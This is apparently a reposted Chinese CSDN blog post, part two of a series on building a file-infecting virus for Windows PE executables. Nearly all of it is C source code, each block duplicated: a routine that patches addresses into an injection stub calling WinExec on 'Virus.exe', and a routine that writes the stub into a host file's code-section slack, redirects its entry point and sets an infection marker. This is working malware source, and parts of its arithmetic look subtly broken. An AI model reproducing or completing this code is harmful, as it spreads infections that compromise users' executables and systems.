关于感染型病毒的那些事(二) - GaA.Ra的自留地 in Csdn - CSDN博客

来源:百度文库 编辑:神马文学网 时间:2024/04/26 18:57:31
  关于感染型病毒的那些事(二) 收藏
    从(一)中建立了初步的注入代码后,需要把用来占位的11223344H改为相应的地址,用一个函数来完成.view plaincopy to clipboardprint?
//OEP是从PE头中得到的程序入口点,VEP是病毒注入的起始位置,ImageBase是文件基址  
int BuildInjectCode(DWORD OEP, DWORD VEP, DWORD ImageBase)  
{  
    unsigned char *p = InjectCode;  
    *(DWORD *)(p + 1)  = VEP + ImageBase + 0x2B;    //SEH处理程序地址  
    *(DWORD *)(p + 15) = ImageBase + 0x53;          //病毒名,这里我写在了PE的DOS头中  
    *(DWORD *)(p + 20) = aWinExec;                  //offset WinExec  
    *(DWORD *)(p + 37) = OEP + ImageBase;           //原程序OEP地址  
    *(DWORD *)(p + 43) = OEP + ImageBase;  
      
    return 0x3E;    //0x3E是InjectCode的长度  

//OEP是从PE头中得到的程序入口点,VEP是病毒注入的起始位置,ImageBase是文件基址
int BuildInjectCode(DWORD OEP, DWORD VEP, DWORD ImageBase)
{
 unsigned char *p = InjectCode;
 *(DWORD *)(p + 1)  = VEP + ImageBase + 0x2B;    //SEH处理程序地址
 *(DWORD *)(p + 15) = ImageBase + 0x53;          //病毒名,这里我写在了PE的DOS头中
 *(DWORD *)(p + 20) = aWinExec;                  //offset WinExec
 *(DWORD *)(p + 37) = OEP + ImageBase;           //原程序OEP地址
 *(DWORD *)(p + 43) = OEP + ImageBase;
 
 return 0x3E;    //0x3E是InjectCode的长度
}     利用Windows搜索文件的基址,如果将病毒放在System32文件夹下,那么,WinExec路径参数只需传递病毒文件名即可(如Virus.exe).    打开文件进行注入感染,果然是:CreateFile()->CreateFileMapping()->MapViewOfFile()->InjectHelper()->UnMapViewOfFile(),CloseHandle().关键代码在于InjectHelper,是注入感染的帮助函数.用MapViewOfFile得到文件的内存指针,然后将指针传递给InjectHelper(),详细代码如下:view plaincopy to clipboardprint?
void InjectHelper(char *Buff)  
{  
    //检查感染标志  
    if (*(Buff + 0x4e) == 0x49      //'I'注入感染  
        || *(Buff + 0x4e) == 0x52   //'R'资源感染  
        || *(Buff + 0x4e) == 0x56)  //'V'病毒主体文件  
    {  
        return;  
    }  
      
    char *ptr = Buff, *Section;  
    DWORD temp, OEP, VEP, ImageBase;  
    int i, NumberOfSection, LengthOfInjectCode;  
    if (*(WORD *)ptr != 0x5A4D) return;     //检查MZ标志  
    ptr += *(WORD *)(ptr + 0x3c);           //指向e_lfanew  
    if (*(WORD *)ptr != 0x4550) return;     //检查PE标志  
    temp = *(WORD *)(ptr + 0x5c);           //指向SubSystem  
    if (temp != 2 && temp != 3) return;     //检查子系统版本,GUI或CUI  
    OEP = *(DWORD *)(ptr + 0x28);           //取得原OEP  
    Section = ptr + 0x100;                  //指向VirtualSize  
    NumberOfSection = *(WORD *)(ptr + 6);   //获取节数  
    for(i = 0; i < NumberOfSection; i++) //判断OEP在哪个节当中  
    {  
        if(*(DWORD *)(Section + 4) <= OEP \  
            && *(DWORD *)Section + *(DWORD *)(Section + 4))  
            break;  
        Section += 0x28;  
    }  
    if (i >= NumberOfSection - 1)  
    {  
        return;  
    }  
    temp = *((DWORD *)Section + 8);         //指向RawSize  
    if (*(DWORD *)Section < temp) temp = *(DWORD *)Section;          //取VirtualSize和RawSize中小的值  
    VEP = *(DWORD *)(Section + 4) + temp;                           //VirtualAddress+temp(其实就是代码的长度)  
    ImageBase = *(DWORD *)(ptr + 0x34);  
    LengthOfInjectCode = BuildInjectCode(OEP, VEP, ImageBase);  
    if (*(DWORD *)(Section + 0x28 + 0xc) <=                       //利用原代码长度加注入代码长度  
            temp + *(DWORD *)(Section + 0x0c) + LengthOfInjectCode) //看是否覆盖到下一个区块的区域  
    {  
        return;  
    }  
    MoveMemory(Buff + temp + *(DWORD *)(Section +0x0c), InjectCode, LengthOfInjectCode);  
    *(DWORD *)(ptr + 0x28) = VEP;           //修改PE文件的EntryPoint为注入代码地址  
 
    //写入注入标示'I'和病毒名Virus.exe,位于DOS头  
    *(Buff + 0x4e) = 0x49;  
    *(Buff + 0x53) = 'V';  
    *(Buff + 0x54) = 'i';  
    *(Buff + 0x55) = 'r';  
    *(Buff + 0x56) = 'u';  
    *(Buff + 0x57) = 's';  
    *(Buff + 0x58) = '.';  
    *(Buff + 0x59) = 'e';  
    *(Buff + 0x5a) = 'x';  
    *(Buff + 0x5b) = 'e';  
    *(Buff + 0x5c) = '\0';  
 
    return;  

void InjectHelper(char *Buff)
{
 //检查感染标志
 if (*(Buff + 0x4e) == 0x49  //'I'注入感染
  || *(Buff + 0x4e) == 0x52 //'R'资源感染
  || *(Buff + 0x4e) == 0x56)  //'V'病毒主体文件
 {
  return;
 }
 
 char *ptr = Buff, *Section;
 DWORD temp, OEP, VEP, ImageBase;
 int i, NumberOfSection, LengthOfInjectCode;
 if (*(WORD *)ptr != 0x5A4D) return;  //检查MZ标志
 ptr += *(WORD *)(ptr + 0x3c);   //指向e_lfanew
 if (*(WORD *)ptr != 0x4550) return;  //检查PE标志
 temp = *(WORD *)(ptr + 0x5c);   //指向SubSystem
 if (temp != 2 && temp != 3) return;  //检查子系统版本,GUI或CUI
 OEP = *(DWORD *)(ptr + 0x28);   //取得原OEP
 Section = ptr + 0x100;     //指向VirtualSize
 NumberOfSection = *(WORD *)(ptr + 6); //获取节数
 for(i = 0; i < NumberOfSection; i++) //判断OEP在哪个节当中
 {
  if(*(DWORD *)(Section + 4) <= OEP \
   && *(DWORD *)Section + *(DWORD *)(Section + 4))
   break;
  Section += 0x28;
 }
 if (i >= NumberOfSection - 1)
 {
  return;
 }
 temp = *((DWORD *)Section + 8);   //指向RawSize
 if (*(DWORD *)Section < temp) temp = *(DWORD *)Section;   //取VirtualSize和RawSize中小的值
 VEP = *(DWORD *)(Section + 4) + temp;       //VirtualAddress+temp(其实就是代码的长度)
 ImageBase = *(DWORD *)(ptr + 0x34);
 LengthOfInjectCode = BuildInjectCode(OEP, VEP, ImageBase);
 if (*(DWORD *)(Section + 0x28 + 0xc) <=        //利用原代码长度加注入代码长度
   temp + *(DWORD *)(Section + 0x0c) + LengthOfInjectCode) //看是否覆盖到下一个区块的区域
 {
  return;
 }
 MoveMemory(Buff + temp + *(DWORD *)(Section +0x0c), InjectCode, LengthOfInjectCode);
  *(DWORD *)(ptr + 0x28) = VEP;   //修改PE文件的EntryPoint为注入代码地址 //写入注入标示'I'和病毒名Virus.exe,位于DOS头
 *(Buff + 0x4e) = 0x49;
 *(Buff + 0x53) = 'V';
 *(Buff + 0x54) = 'i';
 *(Buff + 0x55) = 'r';
 *(Buff + 0x56) = 'u';
 *(Buff + 0x57) = 's';
 *(Buff + 0x58) = '.';
 *(Buff + 0x59) = 'e';
 *(Buff + 0x5a) = 'x';
 *(Buff + 0x5b) = 'e';
 *(Buff + 0x5c) = '\0'; return;
}     利用BYTE*指针(即char*指针)指向buffer来完成指针的移动操作比较容易理解,但是需要做大量的WORD和DWORD的转换,基本这样就完成了对一个文件的注入感染了.过程中没有引入PE文件头的各类结构,都是用指针定位,所以需要对PE结构有一定的理解.    To be continue... 本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/GaA_Ra/archive/2010/06/28/5699512.aspx